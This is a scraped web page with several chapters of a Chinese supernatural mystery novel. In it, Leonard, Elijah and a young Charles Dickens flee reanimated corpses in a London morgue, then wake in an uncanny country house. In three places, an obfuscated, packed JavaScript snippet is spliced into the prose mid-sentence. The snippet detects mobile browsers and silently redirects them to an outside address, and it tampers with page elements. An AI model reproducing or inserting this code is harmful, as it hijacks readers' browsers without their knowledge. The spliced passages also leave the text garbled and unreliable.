莱纳德没看出有什么不对劲,以利亚又耳语道:“看影子。”莱纳德顺着博伦特脚下看去,眼睛顿时瞪大了,那个人——不,那东西——脚下竟赫然有七八道影子! 以利亚又把手捂到了莱纳德嘴上,对方的嘴唇蹭过他掌心,果然差一点叫出来,他拉着莱纳德退到巷子深处:“这边。” “谁?”以利亚差点对躲在垃圾桶后的黑影大打出手,幸好对方很快自报家门:“是我!博伦特!” 他从阴影里钻出来,抹了把汗,小声感叹道:“老天爷,我还以为你们不会来了。” “你怎么在这儿?”莱纳德惊疑不定地瞪着博伦特,他跟路灯下那个有好几道影子的东西打扮得一模一样,谁知道他不是怪物的另一个分身? 他打量着对方脚下,但巷子里黑漆漆的,压根没有影子。 “喂,我可是像个体面人那样赴约,你们才是迟到的人。”博伦特不满地回答。 “好了,有话等离开这个是非之地再说不迟。”以利亚似乎并没有怀疑博伦特,低声嘱咐道:“从那边走,小心别弄出动静来。” “走?我还没好好看看那东西呢,它是个鬼魂吗?怎么会有那么多条影子?”博伦特依依不舍地看了眼街对面,但到底没敢从藏身的角落里探出去。“我还以为,你们约在这里就是为了跟它正面较量一番呢。” “我们只是为了约你出来。”以利亚耐心地说,“没想到还约来了其他东西。” “它来得比我早,十足的绅士作风。”博伦特一边跟他们走,一边嘀嘀咕咕,“幸亏我没走萨塞克街,不然铁定撞它怀里,看它那样子,十有八九是来者不拒,全盘接收。” 莱纳德觉得他猜得没错。 “你见过那怪物,还把它画了出来,勇气可嘉,但也够冒险的。”以利亚又说,“我们必须做好它已经盯上你的准备,从今晚的情况来看,这怪物比我们想得还要聪明得多。” “我差一点就被它放倒了,搞不好前几个受害者也是这么傻乎乎地着了道,说实话,我对上报纸的兴趣还没那么大。” “可否容我问一问,咱们这是要去哪里?”等一行人走上墨梅德街,博伦特立刻问道,他看起来精神抖擞,仿佛刚才的冒险完全没吓到他反而给了他勇气似的。 “苏格兰场。”以利亚回答。 “等等,”博伦特停住脚步,夸张地摊开手,莱纳德还以为他要言辞义正地指出守法公民压根不该有夜闯伦敦警察厅的念头,结果他却说道,“苏格兰场还在百老汇呢,我们就这么走过去?” “不完全是。”以利亚说着从口袋里掏出金属笔,莱纳德忍不住说:“喂,你还来真的?”他瞥了博伦特一眼,对方已经瞪大了眼睛,盯着以利亚的动作,感叹道:“上帝啊,你们俩果然不是诚实的生意人。” “你也不是诚实的记者。”莱纳德反唇相讥,“亲爱的查尔斯。” 博伦特一挑眉毛,看起来丝毫不愧疚:“诚实可不是记者的美德,而且我也没全骗你,朋友们的确叫我都弟。” “谢了,都弟。”莱纳德笑了笑,“希望你身上记者的美德不太多。” 博伦特小声地念叨了一句:“谁让我们活在最美好的年代呢。” 莱纳德顺口接道:“既是最美好的年代,也是最糟糕的年代。” 结果博伦特意外地瞪大眼睛:“你抢了我的话,先生,我还以为这里只有我喜欢故作聪明呢。” 莱纳德翻了个白眼:“行了,你要是爱从查尔斯·狄更斯的俏皮话集锦里找灵感,以后有的是机会。” “查尔斯·狄更斯的俏皮话?”博伦特眨眨眼睛,用一种似笑非笑的表情看着他,“怎么,我的俏皮话已经出名到变成某种短语了吗?” 莱纳德目瞪口呆地看着对方,不可置信地蹦出两个字:“你是……” “查尔斯·狄更斯,正是本人。”对方把帽子摘下来,一手按胸鞠了一躬,莱纳德脸上的表情显然愉悦了他,“说起来,我以为我不是什么名人呢,但愿我也不是登上了魔鬼花名册。” 莱纳德讷讷道:“你是查尔斯……狄更斯,耶稣啊。” 查尔斯笑得露出一口白牙:“姓和名都没错,但我很确定我不是耶稣。” 夜色里,他看上去年轻得不可思议,后来莱纳德翻阅资料,才确定这自称狄更斯的家伙并非冒名顶替。 狄更斯的确曾在报社工作,采访工作颇有成绩,却志在成为一名戏剧表演家,而此时此刻,距离他完成第一部长篇小说《匹克威克外传》还有好些年。 “你们两位女士聊完私房话没?”以利亚在旁边开腔。 “哈!”查尔斯立刻回敬道,“这可是对女士们不可饶恕的冒犯。” “也可以作为对你们的恭维。” 以利亚目光里闪过一丝笑意。 莱纳德恨恨地瞪了他一眼,用口型说道:“你早就知道了。” 以利亚笑而不语,他看上去的确不怎么吃惊,反而幸灾乐祸地欣赏莱纳德的窘态,这混蛋。 查尔斯却在看到以利亚身后的绿色荧光门之后惊叹出声:“看在上帝的份上,这是什么?地狱之门吗?” “时空之门还差不多。” 以利亚比了个请的手势,“苏格兰场可不是我们坐着马车堂而皇之推门进去的地方,警探们也不会喜欢平民半夜造访,幸好,我们有捷径。” 泰晤士河接二连三的浮尸案让苏格兰场的警探们忙得不可开交,但却没人想到在停尸房增派人手,今天晚上只有一个上了年纪的老法医在外边值夜,以他的耳背程度,就算尸体跳起来大叫一声也未必能惊动他。 以利亚三人鱼贯从传送门里走出来,停尸房浓重浑浊的空气立刻冲进鼻腔,尽管眼下是冬天,走风漏气的停尸房更是冷得仿佛冰窖,但从裹尸单下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552623|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散发出的显然不仅仅是腐肉和脓液的气味,还有某种无法形容的腥臭味。 “撒旦啊,魔鬼的屁股在地狱沼泽里腌上三天的味道也不过如此。”查尔斯语出惊人,莱纳德悻悻收回了“无法形容”的评价。 三个人都用手帕捂住了口鼻,效果聊胜于无,以利亚最先找到了泰晤士河里打捞上来的浮尸,他掀开裹尸单一角,看了一眼,又立刻放了回去。 “我建议你们做好准备。”以利亚的声音闷闷的,从手帕后传出来,“这下面不是人类,至少不完全是。” 莱纳德盯着裹尸单起伏的轮廓,咽了口唾沫,但糟糕的空气早就把喉咙搞得又干又涩,感觉仿佛吞下了几粒塑料泡沫,他上前一步,掀开了泛着黄绿色的布单子。 “呃……”这是他能发出来的唯一声音,在不呕吐的前提下。 裹尸单下并不是一具高度腐烂的尸体,也不是被河水泡得肿胀的巨人观,而是某种浑身覆盖着厚壳和触腕的灰色生物,或者准确地说,死物。 以利亚说得对,这东西绝对不是人。 查尔斯凑过来,云淡风轻地说道:“说实话,我从来没为一具尸体不会轻易复活感到如此庆幸过,这张脸可够让人难忘的,对吧?”他居然还能保持冷静,但瞪得圆溜溜的眼睛还是暴露出一丝畏惧。 “怎么会这样?”莱纳德脸色苍白,他不觉得这东西是泰晤士河里土生土长的,看在上帝的份上,或是撒旦,不管是谁,躺在裹尸单下面的可怜家伙在跌进名为泰晤士的臭水里时,应该都还是人,曾经是。 “某种变异,你们觉得呢?”以利亚勇气十足地检查过另外几具尸体,回到了莱纳德身边,他的表情仿佛在担心对方随时会吐出来,实事求是地说,这种担心并不是毫无道理。 莱纳德咬着嘴巴里的软肉,靠疼痛克制呕吐的冲动:“关键在于,这种变异是死前还是死后发生的?” 以利亚一本正经地回答:“这个问题不存在,如果死后还能变异,说明它压根没有死,最多只能叫行尸走肉。” 莱纳德翻了个白眼:“你知道我的意思。” “我不知道,”查尔斯终于忍不住开腔,“先生们,你们到底是在讲中国话还是某种我听不懂的黑话?” 两个人一齐转过来看着查尔斯,后者眉毛滑稽地耸动着:“抱歉,有毒的空气害我脾气暴躁,但你们难道不觉得自己问错问题了吗?” “那正确的问题是什么?”以利亚好脾气地问。 查尔斯:“如果这些真的是从泰晤士河里打捞出来的尸体,我的意思是,就凭这副尊荣,且不说小报记者们会像苍蝇闻到屎一样抱着‘水怪’的新闻不撒手,直到写满每家报社的新闻头版,想想看,苏格兰场为什么没有第一时间把这些吓人的玩意儿丢进焚化炉里?还有,”他竖起大拇指向肩膀后一指,“外边值班的老爷子,耳背就算了,但这地方比粪坑还臭,难道他的嗅觉也失灵了吗?” 莱纳德下意识顺着他的手指向后看了一眼,然后倏地屏住了呼吸,以利亚也看到了,脸色顿时一变。 “喂,就算我说对了,你们也不用一副见了鬼的模样吧?”查尔斯忍不住说,他刚要回头,就听到以利亚小声说:“别动,千万别动。” 他轻轻吸了口气,慢慢说道:“有东西活过来了。” 65.第八章:重访墓园 查尔斯没有回头,但他能听到身后窸窸窣窣和吱呀声响。 那动静,就像有具尸体推开了身上盖的裹尸单,然后,摇晃着坐了起来。 他的想象力一直不错,真该死。 莱纳德的眼睛瞪得老大,查尔斯几乎能从那对蓝眼珠子里看到怪物扭动挣扎的倒影,而他看不到的是,那尸体的口鼻耳朵里正涌出黑色的淤泥状物质,仿佛某种疯狂生长的苔藓似的,从停尸台蔓延开来。 以利亚慢慢挪动脚步,余光瞟到了另外两具正在表演仰卧起坐的尸体,小幅度用手指了指旁边:“门在那边,听我的口令,我说跑的时候——” “跑!” 一瞬间,三个人都玩命飞奔起来,像跑酷运动员似的绕过一张张停尸台和咕嘟冒泡的黑色淤泥,有具起到一半的尸体被以利亚横臂一撞,像个被砸的保龄球瓶似的滚到了地上,发出一声刺耳的嚎叫。 停尸房用的是老式弹簧门,谢天谢地,没有挂锁,大概苏格兰场不认为会有人来偷尸体。以利亚合身撞门,厚重的门扇“咣当”一声撞在外墙上,又弹回来,以利亚侧身撑住示意他们先走:“快!快!快!” 莱纳德一马当先跑在最前面,差点在拐弯处迎头撞进值班老头的怀里,浓稠的黑色液体像个小喷泉似的从他嘴巴里冒出来,那两条胳膊伸得长长的,看起来正打算给莱纳德一个热情拥抱。 莱纳德大叫一声,想也不想,一个紧急弯腰从老头的腋下钻了过去,查尔斯可就没那么幸运了,他紧跟在莱纳德后边,简直是空门大开,老头伸长的手臂仿佛没了骨头,软软地拍在查尔斯脸上,然后往下一滑,缠住了他的脖子。 查尔斯的尖叫声噎在喉咙里,他用力拍打扣住他脖子的手指,着力却软绵绵的,那几根触手似的东西反而越缠越紧,顿时憋得他呼吸不畅,满脸通红,而挣扎显然只会让肺里的氧气消耗得更厉害,很快,他的视野边缘开始发黑,紧跟着出现了白色的跳跃光点,值班老头的脸在他眼前飞快地肿胀、放大,那股粘稠的黑色液体竟仿佛是活的,像魔鬼的舌头一样探了过来。 “砰”的一声巨响,在查尔斯听起来却像是隔着棉花,他只觉得堵塞的气管骤然畅通,脖子上的禁锢消失了,紧跟着两腿一软,幸好被以利亚一把拉住,架着腋下把他拽了起来:“抱歉,但我们不能停下。” 对面,莱纳德手握警棍,仿佛刚刚击出全垒打的贝比·鲁斯 ,立起棒头,谨防值班老头再次跳起来,头也不抬地冲两个人吼道:“快走!我来断后。” 以利亚扶着查尔斯,能跑多快就跑多快,身后,莱纳德时不时回头,挥棍击倒追上来的变异僵尸,幸好它们看起来还不太适应新升级的身体,只要挥击的力气够大,这些半软体怪物就会像滩烂泥似的倒在地上,半天爬不起来。 “所以,那些尸体都是新、新变异的!”莱纳德边跑边大声说道,气喘吁吁,“不管是从泰晤士河里捞起来的浮尸,还是、还是别的。”比如半夜看守停尸房,却被淤泥怪物附体的倒霉法医。 “十有八九!”以利亚头也不回地喊道。 “那我们怎么办?” “跑!” “我在跑了!” 三个人都知道,光跑不是办法,不管泰晤士河里的东西到底是什么,如果它真有能力制造丧尸,那么下一步呢? 不过这个问题他们直到跑出三条街才能分出精力来考虑,伦敦的雾气似乎从来没这么浓重过,几步外就伸手不见五指,夜色对缓和这一情况更无助益,他们不得不放慢奔跑速度才不至于一头撞到报亭上去。 但好消息是,淤泥怪物终于被甩在了身后。 “我跑、我跑不动了,让我休息一下。”查尔斯听起来就像一口气吃了太多煮鸡蛋的老太婆,随时都要喘不上气来,他扶着膝盖弯下腰,艰难地深呼吸几下,摸了摸自己的脖子,惊魂未定地呻吟起来:“老天爷,我被魔鬼掐脖子了,刷新记录,先生们,天杀的新纪录,我以前可只被犹太人掐过脖子。”他短促地笑了一声,但听起来像是鸡叫。 “犹太人可不至于把你掐成这样,让我看看。”以利亚抬起查尔斯的下巴,尽管动作小心翼翼,但对方还是疼得连吁了好几口气。 “问题不大。”检查了一番后,以利亚抛出诊断结果,“只是淤伤,没有暴露性伤口,不必担心感染,不过你的喉咙可能会肿上几天。” “谢了,我已经感觉到了,它跟我说打算小住一阵,大概不止几天。”查尔斯乐观地回答。 “伙计们,过来看看这个。”莱纳德忽然出声,他刚才走到了两个人前面,此刻正盯着什么东西发呆。 灰白色的雾气中,一道铁栅栏门若隐若现,写着“镇公墓”的金属牌子摇摇欲坠,仿佛正冲几个人打招呼。 “以利亚,你看到了吗?”浓雾仿佛一只蹲踞的怪兽,随时都会暴起伤人,这场景和昨晚的梦境见鬼的相似,莱纳德忽然一阵害怕,他转回头,以利亚和查尔斯还在,谢天谢地。 “看到了。”以利亚严肃地回答,他像只大猫一样悄没声地站到莱纳德旁边,盯着铁门,忽然伸手握住了门上的挂锁,用力一拧,铁锁便断开了,铁锈像巧克力屑似的簌簌掉落。 莱纳德条件反射似的抓住以利亚的手腕,他差点原地跳起来:“你干嘛?”他没法告诉以利亚,就在他昨晚的梦里,门上的铁锁就是这样断开的,只不过那时并没有人伸手去拧。 以利亚脸上的表情有点愣怔,他松开手,盯着自己的手指看了两秒,又看了看在挂扣上摇摇晃晃的锁子,仿佛刚才拧断它的人不是自己似的。 “我……”以利亚只说了一个字,铁锁忽然从挂扣上掉了下来,“当”的一声落在了地上。 “我觉得我们还是不要进去了,以利亚,”莱纳德紧张地咽了口唾沫,胃里仿佛被人塞进了一袋蝴蝶,“还记得我给你讲过的梦吗?” 他可不想再踏进这个鬼地方,然后被淤泥怪物从后面抱个满怀。 关键那还不是最糟糕的。 以利亚摇了摇头,说道:“我觉得那正是我们需要进去看看的理由。” “看来我们平局了,查尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565342|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯?”莱纳德扭过头,“该你投票了。” “投票?”查尔斯嘶哑的声音忽高忽低,但还是成功传递出了讽刺的意味,“我们要不要再请个监票人来啊?毕竟现在压根不是什么生死攸关时刻,后边也没有魔鬼打算咬咱们的屁股,绅士们,我建议我们可以边喝下午茶边讨论‘平局’的问题。” 他说着从莱纳德身边跨过去,一把推开镇公墓的铁栅栏门,径直走了进去。 “查尔斯,慢点!你根本不知道里面有什么!”莱纳德气恼地跺了下脚,跟以利亚一起追了上去。 雾气在石板小径上凝结出无数细小的水珠,走得稍快点就会打滑,莱纳德清楚地记得自己光脚走在这里的情形,那种冰凉刺骨、挥之不去的感觉仿佛又回来了,他呼出一团白气,这地方绝对比外面更冷。 查尔斯也放慢了脚步,嘟囔道:“这儿绝对不是伦敦,至少不是威斯敏斯特,也不是任何我去过的地方,太阳神啊,肯定是那些雾气害我们迷路了。” “你现在才发现?”莱纳德忍不住讥刺道。 “我承认我不是个天才,但死尸暴起这种事也不是每天都能见到的,好吧?我只是需要时间消化。”查尔斯搓了搓胳膊,“这地方怎么这么冷?” “因为这里是墓地,不是桑拿房。” “你总是这么说话吗?我认识一个家伙,典当铺的老板尤金·格纳里,他就爱说这些漂亮话。” “巧了,我也认识这么一个家伙,让我想想他叫什么,哦对,查尔斯·狄更斯。”莱纳德一摆手,对着空气介绍,“女士们先生们,相信我,这位绅士的俏皮话集锦一定会成为19、20世纪的畅销书。” 查尔斯咧嘴一笑:“原来我说话这么讨人喜欢?谢了,这可真是振奋人心。” “不客气,我的荣幸。” “你们两个,够了,安静点好吗?”以利亚终于开口,一边警惕地打量着四周,低声说道,“我觉得我们不是这地方唯一的访客。” 可除了他们三个人的动静,这里似乎只有风声。 莱纳德后脖子上窜起一层鸡皮疙瘩,他忽然想,如果他们在墓地里看到昨晚的他怎么办? 还有更糟糕的,如果以利亚也看到那些墓碑怎么办? 这个想法不知怎地极具真实感和说服力,莱纳德忍不住再次提议:“我们现在掉头回去还不晚,以利亚,这地方太危险了,想要调查泰晤士河里的怪物还有一百种更好、更安全的办法。” “谁说我们在调查泰晤士河怪物了?”以利亚板着脸说。 “那不然呢?” 以利亚张开嘴,似乎是想回答,但他没来得及说出任何话,他们脚下的石径和土地忽然开始下陷,黑色淤泥像烧开了似的翻涌着从地面新开裂的口子里溢出来,眨眼间便将他们的腿脚淹没了。 被饥饿的土地吞没前,莱纳德最后看到的,是一个留着小胡子,左眼睛上戴着一个单片镜的男人,就站在那块墓碑后。 他在冲他微笑。 然后说道:“欢迎来到我的世界。” 66.第九章:以利亚和他的姨奶奶 莱纳德被明亮的阳光刺痛了眼睛,他抬起手遮在眉毛上,这才觉得舒服了点,街对面的小房子映入眼帘,一栋非常整洁、漂亮的小房子。 房子正面是几扇明亮的半圆形小窗户,像漂亮姑娘的头饰一样在太阳下闪闪发光,房前是铺满碎石的小四方院,栽满了生机勃勃的各色鲜花,浓烈但不刺鼻的花香充斥在空气里,即便隔着街都能闻得到。 方院的角落里种着一棵紫杉,生机勃勃的,细长碧绿的叶片像列队的士兵那样整整齐齐地站在枝丫上,保护着鲜嫩欲滴的红色浆果,莱纳德一直觉得紫衫树就像自然界的圣诞老人,总是那么骄傲、那么喜气洋洋。 “这是……哪儿?”莱纳德喃喃道,他下意识回头看了看身后,没别人,当然了,他一直是一个人,自言自语只是个不好的习惯罢了。 眼前的小房子似乎对他充满了吸引力,莱纳德不由自主朝街对面走去,来到了四方院的门口,透过窗户,他能看到屋子里的绿色大屏风和楠木桌椅,模样看起来很是温馨。 “走开!快走开!这里不允许陌生男人进来!”一个尖锐的女人声音忽然响起,莱纳德吓了一跳,他眨眨眼睛,一株小树旁站着一个瘦高个女人,不算太老,但也绝不年轻。她满头泛灰的头发都用一个黑色网兜仔细包裹着,腰板挺得直直的,正严厉地看着他。 莱纳德下意识后退了几步,但却并没有离开,也许是花香,也许是那扇漂亮的绿色屏风,谁知道呢?他喜欢这栋房子。 “女士,日安,我是莱纳德,呃,莱纳德·杜弗伦。”莱纳德嗫嚅着,“冒昧打扰,但我真的很想进去坐坐,我、我口渴了。”他低头看看自己,感谢上帝,他打扮得还算体面,“我不会弄脏客厅地板的,保证。” 瘦高个女人瞪着他,忽然大叫一声:“苏珊娜!” 一个花布包头的女佣匆匆跑出来:“洛克伍德太太,您有什么吩咐?” 洛克伍德太太干脆地说道:“到楼上去,告诉以利亚先生我想跟他谈谈,还有,这里有一位杜弗伦先生坚持要到客厅里坐坐,替我去厨房问问下午茶准备好了没有。” 苏珊娜点点头,一言不发地离开了,动作利索得好像听到行军号令的士兵那样。 洛克伍德继续盯着莱纳德:“好了,杜弗伦先生,现在,”她语气坚定地说道,“请跟我来吧。” 她说完就转身走进了屋里,莱纳德跟在她身后,如释重负地松了口气。 屋子里铺着粗毛地毯,硬沙发上铺着亚麻布套,老式家具擦得锃亮,和从外面看起来一样整洁、漂亮。 莱纳德坐在沙发上,姿势僵硬,挺腰挺得后背都痛了,洛克伍德太太就坐在他对面,裙子下摆撩起来搭在膝盖上,两只手稳稳地捧着一杯热茶,像只猫头鹰似的表情严峻地看着他,说道:“孩子,你上这儿来干嘛?” 这个问题可不好回答,莱纳德犹豫着,终于说道:“我来看望以利亚,他告诉我这个地址。”他手掌不自在地蹭了蹭裤腿,“听说,他最近可以下床了?” “是的,我们把他照顾得很好。”洛克伍德太太说着点了点头,似乎在肯定自己的表现,然后又重复了一遍作为强调,“他被照顾得很好。” 莱纳德也只好点了点头,更加不安了:“那我可以去看看他吗?” “不,他马上就下来,你坐在这里不要动。”洛克伍德太太忽然直挺挺地站起身,像根通条被人拿了起来似的,“我要去厨房看看,下午茶准备得太慢了。” 于是客厅里忽然间只剩下莱纳德一个人,某种奇怪的感觉在他胸口翻涌着,后来莱纳德才明白,那是背景故事正在慢慢填充、丰满起来,就像伤口愈合,你能感觉到新的东西从你身体里长出来,但那种蚂蚁啮咬似的酸麻很容易就会让人忽略。 此刻,他打量着屋里的陈设,认为这房间还挺可爱的,不管是维多利亚风格的壶架,还是白瓷茶杯上傻乎乎的小天使图案,想到以利亚住在这里养病,有这样一群人照顾他,还真是让人放心。 半个月前,他们还在普利茅斯的海滩上一起钓鱼,一定是海风太冷的缘故,可怜的以利亚不幸地感染了风寒,只好回到南浮尔港的一间海边小宅里,跟他的姨奶奶住在一起。 说实话,莱纳德还以为洛克伍德太太会是个九十多岁的老太婆,毕竟以利亚自己都二十多岁了,不是什么人都能随随便便拥有他姨奶奶这个头衔。 不过那位可敬的女士看上去顶多只有五十多岁,并且精力旺盛,这让莱纳德不禁松了口气,在此之前,他一直很担心以利亚的健康,两人在普利茅斯分别后,他收到以利亚的几封信,诚恳地叙述了他的病情和在乡间休养的见闻,以及受到的无微不至的照顾。 姨奶奶是个好人——以利亚在信里这样写道——尽管看起来严厉,但她有一颗善良的心,苏珊娜也想尽办法为我做好吃的,上帝保佑她们,真希望我的胃口能够早点恢复。 但那些信越来越短,并且笔迹也逐渐变得无力而凌乱,莱纳德有足够的理由相信以利亚的健康状况正日渐滑坡,也正因此,他必须来看他,直到亲眼看到他身体好转为止,在这件事上,莱纳德从未考虑过任何其他可能。 正这么想着,一个穿睡衣的男人便从楼梯上走了下来,他看着莱纳德,立刻露出了讨人喜欢的微笑:“莱尼,你来了,我可真高兴!” 莱纳德抬起头,愕然地看着那个男人走下楼来,然后走到他面前,在扶手椅上坐下来,愉快地说道:“亲爱的朋友,说老实话,我还以为你不会来了呢。” “你是谁?”莱纳德忍不住问,他惊疑不定地打量着对方,深色眼珠让他看起来很聪明,嘴唇上留着两撇小胡子,不知为何有几分熟悉。 他很适合戴眼镜,那种单片镜,这个念头从莱纳德脑海里像条小鱼似的轻轻滑过。 在听到莱纳德的问题后,小胡子向后一仰,大惊小怪地叫了一声:“甜蜜的耶稣啊,你居然问我是谁?莱纳德·杜弗伦,难道你来这是为了看望别人的?” “你是……以利亚?”莱纳德疑惑地挠了挠头,尴尬地说,“不好意思,我问了个蠢问题,天啊,我们一定是太久没见了,还有这一路颠死人的马车,我发誓,刚才看到你的时候我的脑袋还是一团浆糊。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573789|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他在沙发上不安地扭动了一下,又问:“你身体好些了吗?以利亚。”一个滑稽的念头冒了出来,伤寒在这个年代可不比头疼脑热,搞不好是会死人的。 什么叫这个年代?莱纳德晃晃脑袋,把令人不快的想法从里面甩出去,只要以利亚没事,其他的都不重要。 “我嘛,有些力不从心,不过总体而言还不错。”小胡子回答道,他胳膊肘撑在膝盖上,朝莱纳德倾过身子,“你呢,这段时间过得怎么样?小麻烦也解决了?” 莱纳德犹豫地点点头:“我不会管那叫麻烦的,以利亚,只是梦游而已,白天太劳累就会这样。” “所以我才劝你去海边放松一下,钓钓鱼,呼吸呼吸乡间的清新空气,实话实说,伦敦有毒的雾气对健康可是毫无益处。”小胡子一边说一边在椅子上舒展身体,“像我,我已经觉得好多了,简直焕然一新。” “我这不是来了吗?”莱纳德嘟囔道,他也想像对方一样放松下来,可浑身的肌肉却异常紧张,皮肤下仿佛有电流窜动,连肠胃都打起了结,“看到你这样,我就放心了,咳,那什么,我觉得我该走了。” 就在他站起来之前,小胡子一把按住了他,不悦道:“这是什么话?好歹也住上几天,我不是说了吗?乡间的清新空气对你而言绝对只有好处。” 莱纳德只好重新陷进沙发里,他揉了揉鼻子:“可是我想……” “你不想!莱尼。”小胡子打断了他,语气严厉,“我要你好好地待在这儿,听明白了?”他说着才略缓和了些,笑容像是被蜡笔画到脸上去的,“我们好久没见了,我很想你。” “好吧。”莱纳德顺从地说。 不等洛克伍德太太回到客厅,小胡子就又上楼了,很显然,他的健康虽然有所好转,但仍然需要休息。 苏珊娜端来了茶点,褐色的大眼睛好奇地瞟着莱纳德,洛克伍德太太不在的时候,她才更像个不到二十岁的少女,她语调轻快地问莱纳德:“你是从伦敦来的?” 莱纳德“嗯”了一声:“坐马车来的,一辆小灰马拉的双轮马车。”他顿了顿,又问,“你呢?从小就住在这里?” “我一直住在这儿,这栋小楼,”苏珊娜回答,“和洛克伍德太太一起,”她抿起嘴一笑,露出好看的贝壳似的牙齿,“现在还有以利亚少爷。” “以利亚少爷……他怎么样?”莱纳德自己都觉得这个问题莫名其妙,他明明才刚见过以利亚。 苏珊娜却没觉得莫名其妙,有一瞬间,她的表情看上去很阴郁,但那一瞬间很快过去,她又摇了摇头,轻快地说道:“他很好。”可不知怎地听起来反倒像是“他很糟”。 “我知道,我刚见过他。”莱纳德说,“洛克伍德太太说的没错,你们把他照顾得很好。” 苏珊娜咬住嘴唇,那种阴影笼罩着的表情又回来了,她把茶杯倒满,推到莱纳德面前:“我加了糖,你想加点奶吗?喝起来会更浓郁。” “不用了。”莱纳德垂眸,暗红色的茶汤里映出他自己的倒影,仿佛一个血腥的玩笑,他言不由衷地喃喃说道,“这样就很好。” 67.第十章:一只猫不请自来 第二天一大早,莱纳德发现自己戴上了园艺手套,身上披了一条像税收人的大围裙那样的园艺口袋,手里还拿着一把大剪刀,正跟洛克伍德太太一起,弯着腰,撅起屁股,在小花园里除草、修剪花枝。 “这才像点样子。”洛克伍德太太一边说,一边“咔嚓”一下拿大剪刀剪掉一根多余的树枝,然后歪过头欣赏自己的作品,点点头重复道,“这才像点样子。” 她身旁,莱纳德笨拙地举着剪刀,园艺对他而言还是个完全陌生的领域,他不知道自己怎么头脑一热就答应洛克伍德太太要帮她打理花园,事实上,他压根不记得自己说过这话。 “除草和除虫是必须的,任何一个打理过花园的人都知道,尤其是早春,绝对不能有一天怠慢。”洛克伍德太太沉浸在她的工作中,手套上沾满了泥土,一缕卷发从额角滑下来,她头也不抬地对莱纳德说,“孩子,你在那儿傻站着干什么?” “呃,”莱纳德呆呆地应道,脚下踩着潮湿柔软的落叶,簌簌作响,一定是被昨晚的风吹掉的,他紧张地看着洛克伍德太太,“我只是,我只是从来没干过这种活计。” “凡事总有第一次。”洛克伍德严格地说,“现在,去把耙子拿来好吗?喏,就在那边的墙上立着。” 莱纳德再回到客厅时,累得简直像条狗一样,把园艺手套往地板上一丢,毫无形象地呈“大”字瘫在沙发上,苏珊娜给他端来茶水,他连味道都没尝出来就一口喝了个干净。 外面天光大亮,温暖的阳光从半圆形的窗户里照射进来,晒得人昏昏欲睡。 “早上舒展一下筋骨一整天都会舒服很多,”苏珊娜在沙发旁的小圈椅上坐下,手里做着针线活,“不过你一定累了。” “还好,太久不运动了。”莱纳德舔了舔嘴唇,三杯茶下肚,他还是觉得口干舌燥,“外面的小花园都是洛克伍德太太一手打理的?” 苏珊娜抿嘴一笑:“她很厉害。” 莱纳德点点头,忽然心念一动,说道:“墙边的那丛玫瑰长得真好,你看到那些花了吗?真漂亮。” “玫瑰?”苏珊娜看上去有些疑惑,眯起眼睛,似乎在思考那丛花,又垂下头继续缝一枚扣子,针尖一上一下地穿过布料,带着某种奇特的韵律,很久才应和道:“很漂亮。” “也很香,隔着整条街都能闻到。”莱纳德若有所思地说。 “很香。”苏珊娜说,疑惑仍然在她的眸子里闪烁。 “以利亚好些了吗?”莱纳德又不着痕迹地换了话题,同时好奇地打量着苏珊娜。那一点银光还在一上一下,第二枚扣子也漂漂亮亮地缝好了,苏珊娜这才点点头,给出肯定的回答:“以利亚好些了。” 莱纳德说:“你应该上楼看看他。” “你说得对,”苏珊娜看起来不再疑惑了,语气坚定,“我应该上楼看看他。”她把针线活放回小篮子里,站起身,上楼去了,莱纳德目送她窈窕的背影在楼梯尽头拐进楼上的走廊,空气中只留下一串引人遐想的脚步声。 如果他跟上去,会看到什么?莱纳德谨慎地思考,走廊、病房、病人?还是穿着睡衣、留着小胡子、自称以利亚的男人? 他感到一阵清醒的恐惧,于是打了个寒颤。 莱纳德喝掉苏珊娜留给他的最后一杯茶,从沙发上站起来,他刚刚发现,话语原来也能够拥有动摇人心的力量,那么,他心想,语言是否同时也拥有改变事实的力量呢? 他回到了小花园。 那里跟他离开前几乎没什么变化,几乎,莱纳德一眼就锁定了例外,因为他本来就在找它——墙边的玫瑰丛,天啊,血红的玫瑰仿佛天国降临的仙子,完美无瑕地立在花枝上,那么茂盛、那么鲜艳欲滴,香得那么撩人心弦、引人目眩——然而,莱纳德百分之百肯定,它片刻之前还不在这里,或者说,直到他跟苏珊娜提起这棵树前,它都还不存在。 一只俄罗斯蓝猫不知从哪儿蹿了出来,在莱纳德脚边转悠,围着他的裤腿磨蹭后背,发出轻柔甜腻的喵喵声。 